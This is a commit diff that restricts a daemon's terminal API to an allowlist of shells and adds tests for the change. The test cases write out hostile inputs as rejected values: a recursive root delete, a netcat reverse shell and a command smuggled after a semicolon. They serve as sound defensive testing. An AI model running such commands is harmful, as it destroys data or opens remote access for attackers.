fix(security): restrict terminal shell to platform allowlist (#5479)

apps/daemon/src/terminals.ts

@@ -90,13 +90,56 @@ function clampDimension(value: unknown, fallback: number): number {
 }
 
 /**
- * Resolve the shell binary for a new PTY. Honors an explicit request override,
- * then the user's environment (SHELL on posix, ComSpec on win32), and finally
- * falls back to a per-platform default.
+ * Platform-aware allowlist of shell binaries accepted when the client
+ * supplies an explicit `shell` override on `POST /api/projects/:id/terminals`.
+ *
+ * On posix, the requested path must match one of the known absolute paths
+ * exactly. On win32, the bare executable name is matched (case-insensitive)
+ * since Windows resolves PATH entries.
+ *
+ * Any value not in the allowlist is silently dropped and the function falls
+ * through to the environment default. This prevents an attacker from using
+ * the terminal route to spawn arbitrary executables (CWE-78).
+ */
+const SHELL_ALLOWLIST_POSIX = new Set([
+  '/bin/bash',
+  '/bin/sh',
+  '/bin/zsh',
+  '/bin/fish',
+  '/bin/dash',
+  '/usr/bin/bash',
+  '/usr/bin/sh',
+  '/usr/bin/zsh',
+  '/usr/bin/fish',
+  '/usr/bin/dash',
+]);
+
+const SHELL_ALLOWLIST_WIN32 = new Set([
+  'powershell.exe',
+  'pwsh.exe',
+  'cmd.exe',
+]);
+
+function isAllowedShell(candidate: string): boolean {
+  if (process.platform === 'win32') {
+    return SHELL_ALLOWLIST_WIN32.has(candidate.toLowerCase());
+  }
+  return SHELL_ALLOWLIST_POSIX.has(candidate);
+}
+
+/**
+ * Resolve the shell binary for a new PTY. Honors an explicit request override
+ * **only when it matches the platform allowlist**, then the user's environment
+ * (SHELL on posix, ComSpec on win32), and finally falls back to a per-platform
+ * default.
+ *
+ * Before the allowlist was added (issue #5479), any non-empty string from the
+ * client was passed directly to `pty.spawn()`, allowing arbitrary process
+ * execution as the daemon user.
  */
 export function resolveShell(requested?: string | null): string {
   const explicit = typeof requested === 'string' && requested.trim() ? requested.trim() : null;
-  if (explicit) return explicit;
+  if (explicit && isAllowedShell(explicit)) return explicit;
   if (process.platform === 'win32') {
     return process.env.ComSpec || 'powershell.exe';
   }

apps/daemon/tests/terminals-shell-allowlist.test.ts

@@ -0,0 +1,76 @@
+import { describe, it, expect } from 'vitest';
+import { resolveShell } from '../src/terminals.js';
+
+describe('resolveShell — shell allowlist (issue #5479)', () => {
+  // Save and restore platform so tests are deterministic regardless of host OS.
+  const originalPlatform = process.platform;
+
+  function mockPlatform(platform: string) {
+    Object.defineProperty(process, 'platform', { value: platform, configurable: true });
+  }
+
+  it('returns allowlisted posix shell when explicitly requested', () => {
+    mockPlatform('linux');
+    expect(resolveShell('/bin/zsh')).toBe('/bin/zsh');
+    expect(resolveShell('/bin/bash')).toBe('/bin/bash');
+    expect(resolveShell('/usr/bin/fish')).toBe('/usr/bin/fish');
+    expect(resolveShell('/bin/dash')).toBe('/bin/dash');
+  });
+
+  it('drops a non-allowlisted shell and falls through to default', () => {
+    mockPlatform('linux');
+    delete process.env.SHELL;
+    // Arbitrary executables must NOT be accepted
+    expect(resolveShell('/usr/bin/python3')).toBe('/bin/bash');
+    expect(resolveShell('/tmp/evil')).toBe('/bin/bash');
+    expect(resolveShell('rm -rf /')).toBe('/bin/bash');
+    expect(resolveShell('/bin/nc -e /bin/sh 10.0.0.1 4444')).toBe('/bin/bash');
+  });
+
+  it('respects SHELL env when no override is provided', () => {
+    mockPlatform('linux');
+    process.env.SHELL = '/bin/zsh';
+    expect(resolveShell(null)).toBe('/bin/zsh');
+    expect(resolveShell(undefined)).toBe('/bin/zsh');
+    expect(resolveShell('')).toBe('/bin/zsh');
+    delete process.env.SHELL;
+  });
+
+  it('trims whitespace before allowlist check', () => {
+    mockPlatform('linux');
+    expect(resolveShell('  /bin/bash  ')).toBe('/bin/bash');
+    // Whitespace-padded arbitrary command still rejected
+    expect(resolveShell('  /tmp/evil  ')).toBe('/bin/bash');
+  });
+
+  it('falls through when the allowlisted shell has trailing path traversal', () => {
+    mockPlatform('linux');
+    // Must NOT match via prefix or traversal
+    expect(resolveShell('/bin/bash/../evil')).toBe('/bin/bash');
+    expect(resolveShell('/bin/bash; rm -rf /')).toBe('/bin/bash');
+  });
+
+  it('win32: accepts allowlisted executable names (case-insensitive)', () => {
+    mockPlatform('win32');
+    expect(resolveShell('powershell.exe')).toBe('powershell.exe');
+    expect(resolveShell('PowerShell.EXE')).toBe('PowerShell.EXE');
+    expect(resolveShell('cmd.exe')).toBe('cmd.exe');
+    expect(resolveShell('pwsh.exe')).toBe('pwsh.exe');
+  });
+
+  it('win32: rejects non-allowlisted executables', () => {
+    mockPlatform('win32');
+    delete process.env.ComSpec;
+    // Arbitrary executables rejected
+    expect(resolveShell('evil.exe')).toBe('powershell.exe');
+    expect(resolveShell('nc.exe')).toBe('powershell.exe');
+    expect(resolveShell('C:\\Windows\\System32\\calc.exe')).toBe('powershell.exe');
+  });
+
+  afterEach(() => {
+    Object.defineProperty(process, 'platform', {
+      value: originalPlatform,
+      configurable: true,
+    });
+  });
+});